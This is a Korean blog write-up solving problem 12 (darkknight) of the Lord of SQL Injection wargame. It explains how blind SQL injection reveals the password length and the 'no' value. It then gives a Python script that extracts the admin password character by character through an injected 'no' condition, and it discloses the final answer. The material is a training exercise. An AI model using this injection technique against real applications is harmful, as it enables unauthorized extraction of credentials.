Lord of SQL Injection

Lord of SQL Injection 12번 문제 - drakknight

ilsancityboy 2024. 11. 10. 07:03

 

11번 문제와 비슷한 구조이나 다른점은 no라는 부분이 추가됐다.

쿼리를 보내는 구조를 보면 id=guest , pw = , no = 로 3개의 파라미터를 보내는데

그럼 대략적으로 데이터베이스의 컬럼 구조는 

id pw no
guest ? ?
admin ? ?

이런식으로 되어 있을것이라고 유추된다.

그럼 11번문제를 풀었듯 똑같이 blind sql injection으로 pw의 길이값, no의 길이값을 유추해나가야한다.

먼저 pw의 길이를 먼저 늘려나가 8자리인걸 확인했고 no의 길이값도 늘려나갔을때 1자리인것을 확인했다.

여기서 문득 든 생각이 no는 보통 넘버의 의미로 사용되는데 그럼 숫자 형태로 저장해놓지 않았을까? 해서 length(no)가 아닌 그냥 no 를 입력하여 no의 값이 1보다 큰지 입력해보았다.

 

no의 값을 0부터 늘려나갔더니 1보다 클시 참으로 뜨고 2보다 클 시 거짓으로뜨는것을 보아 no의 값은 2인것으로 유추가 된다. (소수점자리까지 있다고 생각하는것은 예외로 두고 유추했다.)

 

import requests
import string

cookies = {'PHPSESSID': 'ae0mv96v6tnir3dnbmqd5l0i5r'}
characters = string.ascii_letters + string.digits


# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9):  # pw 길이가 1부터 8까지
    for pw_word in characters:
        url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
        
        # no 값에 || 조건을 추가하여 SQL 쿼리문을 우회
        # mid(pw, {pw_len}, 1) like '{pw_word}' 로 추측한 각 자리의 문자 확인
        no_condition = f"1 || id like \"admin\" && mid(pw, {pw_len}, 1) like \"{pw_word}\""
        
        # no 파라미터에 위 조건을 추가하여 요청
        params = {
            'no': no_condition   
        }
        
        # GET 요청 보내기
        res = requests.get(url=url, params=params, cookies=cookies)

        
        # 응답에서 "Hello admin"이 포함된 경우 비밀번호의 해당 자리값을 출력
        if "Hello admin" in res.text:
            print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
            break  # 해당 자리의 문자를 찾으면 다음 자리로 넘어갑니다.

따라서 전에 푼 11번 문제에서 사용한 코드에 no 파라미터만 추가해 no값을 2로 고정으로 두고 코드를 작동시켰다.

admin의 pw값은 0b70ea1f 이다.